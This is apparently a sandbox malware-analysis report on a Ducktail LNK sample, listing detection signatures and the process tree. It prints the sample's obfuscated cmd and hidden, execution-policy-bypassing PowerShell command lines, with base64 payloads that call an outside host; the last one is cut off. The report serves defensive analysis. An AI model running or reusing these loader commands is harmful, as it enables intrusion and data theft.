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Windows
Analysis Report
eQwUFcwrXk.lnk
Overview
General Information
| Sample name: | eQwUFcwrXk.lnk |
| Analysis ID: | 1551875 |
| MD5: | 16d399755e964c4538d17e4b30d73425 |
| SHA1: | 198e642d29413557ae29704cf1fc95f182b56ffc |
| SHA256: | d3aa737d9a25d1452772006ad3f67feded40fd052816274a17f37ac87ffb0b04 |
| Infos: |   |
 | |
Detection
Ducktail
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Ducktail
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Modifies security policies related information
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: PowerShell Base64 Encoded WMI Classes
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Yara detected Obfuscated Powershell
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64native
cmd.exe (PID: 8632 cmdline: "C:\Window s\system32 \cmd.exe" /v /k "s^t ^aRT /MI^N "" pOWe^R s^heL^L -W hId^den - n^o^lOg^o -n^oP -E^P By^Pass - e^nc^oDE^D ^cOm^m^a^n ^d "SQBFAF gAIAAoAFsA VABFAFgAdA AuAEUAbgBD AG8AZABJAE 4AZwBdADoA OgBVAFQARg A4AC4ARwBF AFQAUwBUAH IAaQBuAGcA KAAoAEkAVw ByACAAKABb AFMAeQBzAH QAZQBtAC4A VABlAHgAdA AuAEUAbgBj AG8AZABpAG 4AZwBdADoA OgBVAFQARg A4AC4ARwBl AHQAUwB0AH IAaQBuAGcA KABbAEMAbw BuAHYAZQBy AHQAXQA6AD oARgByAG8A bQBCAGEAcw BlADYANABT AHQAcgBpAG 4AZwAoACIA YQBIAFIAMA BjAEgATQA2 AEwAeQA5AD EAZQBYAFEA eABiAGoAaA BrAFoAVwBR ADUAWgBtAE kAegBPAEQA QQB1AFkAMg A5AHQATAAw AHAANABVAD IAdABZAE4A ZwA9AD0AIg ApACkAKQAp AC4AQwBPAG 4AVABlAE4A dAApACkA"" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8640 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
powershell.exe (PID: 8708 cmdline: pOWeRsheLL -W hIdden -nolOgo - noP -EP By Pass -enco DEDcOmmand "SQBFAFgA IAAoAFsAVA BFAFgAdAAu AEUAbgBDAG 8AZABJAE4A ZwBdADoAOg BVAFQARgA4 AC4ARwBFAF QAUwBUAHIA aQBuAGcAKA AoAEkAVwBy ACAAKABbAF MAeQBzAHQA ZQBtAC4AVA BlAHgAdAAu AEUAbgBjAG 8AZABpAG4A ZwBdADoAOg BVAFQARgA4 AC4ARwBlAH QAUwB0AHIA aQBuAGcAKA BbAEMAbwBu AHYAZQByAH QAXQA6ADoA RgByAG8AbQ BCAGEAcwBl ADYANABTAH QAcgBpAG4A ZwAoACIAYQ BIAFIAMABj AEgATQA2AE wAeQA5ADEA ZQBYAFEAeA BiAGoAaABr AFoAVwBRAD UAWgBtAEkA egBPAEQAQQ B1AFkAMgA5 AHQATAAwAH AANABVADIA dABZAE4AZw A9AD0AIgAp ACkAKQApAC 4AQwBPAG4A VABlAE4AdA ApACkA" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8732 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
csc.exe (PID: 8980 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\t1fage db\t1faged b.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - cvtres.exe (PID: 9000 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES3C76.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\t1f agedb\CSC5 EF4F498469 D4A7EB6829 710C89A123 D.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - powershell.exe (PID: 9184 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 9192 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
WINWORD.EXE (PID: 1068 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Root\ Office16\W INWORD.EXE " /n "C:\U sers\user\ AppData\Lo cal\Temp\M eeting-Reg istration. pdf.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6) - cmd.exe (PID: 5204 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -WindowS tyle hidde n -NoLogo -NoProfile -Executio nPolicy by pass -Enco dedCommand JAB1AHIAa QAgAD0AIAA iAGgAdAB0A HAAcwA6AC8 ALwB1AHkAd AAxAG4AOAB kAGUAZAA5A GYAYgAzADg AMAAuAGMAb wBtAC8AZgB pAGwAZQAyA C8ANwAxAGI AYwBlADkAO QBiADcANQA wADIAYgAxA DkAZgBmADI AYQAwADcAO QAwADUAYQB iADIAZAAxA DMAMwA5AGM ANwAwADkAZ gBlAGIAYQA yADkAZAA3A DEAMQBiADM ANABjAGQAZ AA0ADkAYQA yADgAMQBlA DMANQAzADM AMAA5ADYAN AA0AGMANQA xADYAMwBhA GQAYwA2AGY AYgA0AGEAM wAxADUANAA 4AGEAZQAwA DMAYQBlADM AZQA5ADIAN AAxADkANAA zADUAOAA4A DEAZQBlAGU AYgBlADcAZ gA0AGEAZQA xAGMAMgA2A DIANgBhADM ANABkADcAZ QBjADIAZgB hADcAZQBiA DgAOABiADY AYQBjAGEAN wA3AGYAMAA 4ADgAYwBkA DQAZAA0ADk AYgAwADkAN QAwADQANQB jADIAOAA1A DMANQBkAGY ANwAwAGUAN QBhAGIANQB kADAAYQAyA GIANQBiADA AYwA4AGEAZ AAzAGUAOAA zAGIANgBjA DgANgBiAGQ AYQA5AGQAN QBkADcAMgA wAGUAZgA1A DUAYgA1ADA AOQBkADQAN wAzADQAYQA zADQAOABlA CIAOwANAAo AJABjAG8Ad QBuAHQAIAA 9ACAAMQAwA DAAOwANAAo ADQAKAA0AC gANAAoAZgB 1AG4AYwB0A GkAbwBuACA AUwBlAG4AZ AAgAHsADQA KACAAIAAgA CAAcABhAHI AYQBtACgAI ABbAFAAUwB PAGIAagBlA GMAdABdACA AJABsAG8AZ wBNAHMAZwA gACkADQAKA A0ACgAgACA AIAAgACMAI ABDAG8AbgB 2AGUAcgB0A CAAYgBvAGQ AeQAgAHQAb wAgAHMAdAB yAGkAbgBnA A0ACgAgACA AIAAgACQAc wB0AHIAaQB uAGcAQgBvA GQAeQAgAD0 AIABbAHMAd AByAGkAbgB nAF0AKAAkA GwAbwBnAE0 AcwBnACAAf AAgAEMAbwB uAHYAZQByA HQAVABvAC0 ASgBzAG8Ab gApADsADQA KACAAIAAgA CAAJABsAG8 AZwBNAGUAc wBzAGEAZwB lAHMAIAA9A CAAQAAoACk AOwANAAoAI AAgACAAIAA kAGwAbwBnA E0AZQBzAHM AYQBnAGUAc wAgACsAPQA gACQAcwB0A HIAaQBuAGc AQgBvAGQAe QA7AA0ACgA gACAAIAAgA CQAbABvAGc ATQBlAHMAc wBhAGcAZQB zACAAKwA9A CAAIgAtAC0 ALQAtAC0AL QAtAC0ALQA tACIAOwANA AoADQAKACA AIAAgACAAJ ABoAGUAYQB kAGUAcgBzA CAAPQAgAEA AewB9ADsAD QAKACAAIAA gACAAJABrA GUAeQAgAD0 AIAAiAEMAb wBuAHQAZQB uAHQALQBUA HkAcABlACI AOwANAAoAI AAgACAAIAA kAHYAYQBsA HUAZQAgAD0 AIAAiAGEAc ABwAGwAaQB jAGEAdABpA G8AbgAvAGo AcwBvAG4AI gA7AA0ACgA NAAoAIAAgA CAAIAAkAGg AZQBhAGQAZ QByAHMAWwA kAGsAZQB5A F0AIAA9ACA AJAB2AGEAb AB1AGUAOwA NAAoAIAAgA CAAIAAkAHU AcgBpACAAP QAgACIATAB PAEcAVQBSA EwAIgA7AA0 ACgAgACAAI AAgAHQAcgB 5AA0ACgAgA CAAIAAgACA AIAAgACAAe wANAAoAIAA gACAAIAAgA CAAIAAgACA AIAAgACAAJ ABiAG8AZAB 5ACAAPQAgA CQAbABvAGc ATQBlAHMAc wBhAGcAZQB zACAAfAAgA EMAbwBuAHY AZQByAHQAV ABvAC0ASgB zAG8AbgA7A A0ACgAgACA AIAAgACAAI AAgACAAIAA gACAAIABJA G4AdgBvAGs AZQAtAFcAZ QBiAFIAZQB xAHUAZQBzA HQAIAAtAFU AcgBpACAAJ AB1AHIAaQA gAC0ATQBlA HQAaABvAGQ AIABQAG8Ac wB0ACAALQB IAGUAYQBkA GUAcgBzACA AJABoAGUAY QBkAGUAcgB zACAALQBCA G8AZAB5ACA AJABiAG8AZ AB5AA0ACgA gACAAIAAgA CAAIAAgACA AfQANAAoAI AAgACAAIAA gACAAIAAgA GMAYQB0AGM AaAB7AA0AC gAgACAAIAA gACAAIAAgA CAAIAAgACA AIAANAAoAI AAgACAAIAA gACAAIAAgA